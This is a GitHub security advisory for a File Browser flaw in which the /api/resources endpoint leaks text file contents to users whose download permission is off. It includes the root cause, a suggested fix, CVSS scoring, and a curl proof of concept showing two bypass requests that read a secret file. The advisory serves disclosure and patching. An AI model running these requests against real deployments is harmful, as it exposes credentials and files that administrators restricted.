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File Browser discloses text file content via /api/resources endpoint bypassing Perm.Download check

Moderate severity GitHub Reviewed Published Apr 4, 2026 in filebrowser/filebrowser

Package

gomod github.com/filebrowser/filebrowser/v2 (Go)

Affected versions

< 2.63.1

Patched versions

2.63.1

Description

Summary

The resourceGetHandler in http/resource.go returns full text file content without checking the Perm.Download permission flag. All three other content-serving endpoints (/api/raw, /api/preview, /api/subtitle) correctly verify this permission before serving content. A user with download: false can read any text file within their scope through two bypass paths.

Confirmed on v2.62.2 (commit 860c19d).

Root Cause

http/resource.go line 26-33 hardcodes Content: true in the FileOptions without checking download permission:

file, err := files.NewFileInfo(&files.FileOptions{
    ...
    Content:    true,  // Always loads text content, no permission check
})

Lines 44-63: the X-Encoding: true header path reads the entire file and returns raw bytes as application/octet-stream, also without any download check.

Compare with the three protected endpoints:

// raw.go:83-85
if !d.user.Perm.Download { return http.StatusAccepted, nil }

// preview.go:38-40
if !d.user.Perm.Download { return http.StatusAccepted, nil }

// subtitle.go:13-15
if !d.user.Perm.Download { return http.StatusAccepted, nil }

PoC

Tested on filebrowser v2.62.2, built from HEAD.

# Create user with download=false via CLI
filebrowser users add restricted testuser123456 --perm.download=false

# Login
TOKEN=$(curl -s http://HOST/api/login -d '{"username":"restricted","password":"testuser123456"}')

# BLOCKED: /api/raw correctly enforces download permission
curl -s -w "\nHTTP: %{http_code}" http://HOST/api/raw/secret.txt -H "X-Auth: $TOKEN"
# → 202 Accepted (empty body)

# BYPASS 1: /api/resources with X-Encoding returns raw file content
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" -H "X-Encoding: true"
# → 200 OK, body: SECRET_PASSWORD=hunter2

# BYPASS 2: /api/resources JSON includes content field
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" | jq .content
# → "SECRET_PASSWORD=hunter2\n"

Impact

A user with download: false can read the full content of text files within their authorized scope (up to the 10MB detectType limit). This includes source code, configuration files, credentials, and API tokens stored as text.

This bypass does not defeat path authorization. It bypasses only the Download permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check Perm.Download, one does not) indicates this is an oversight, not a design decision.

Suggested Fix

Match the existing endpoint behavior (HTTP 202 for denied downloads):

Content: d.user.Perm.Download,  // Only load content when permitted

And add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:

if !d.user.Perm.Download {
    return http.StatusAccepted, nil
}

Update: Fix submitted as PR #5891.

References

@hacdias hacdias published to filebrowser/filebrowser Apr 4, 2026
Published by the National Vulnerability Database Apr 7, 2026
Published to the GitHub Advisory Database Apr 8, 2026
Reviewed Apr 8, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(11th percentile)

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-35606

GHSA ID

GHSA-67cg-cpj7-qgc9

Source code

Credits

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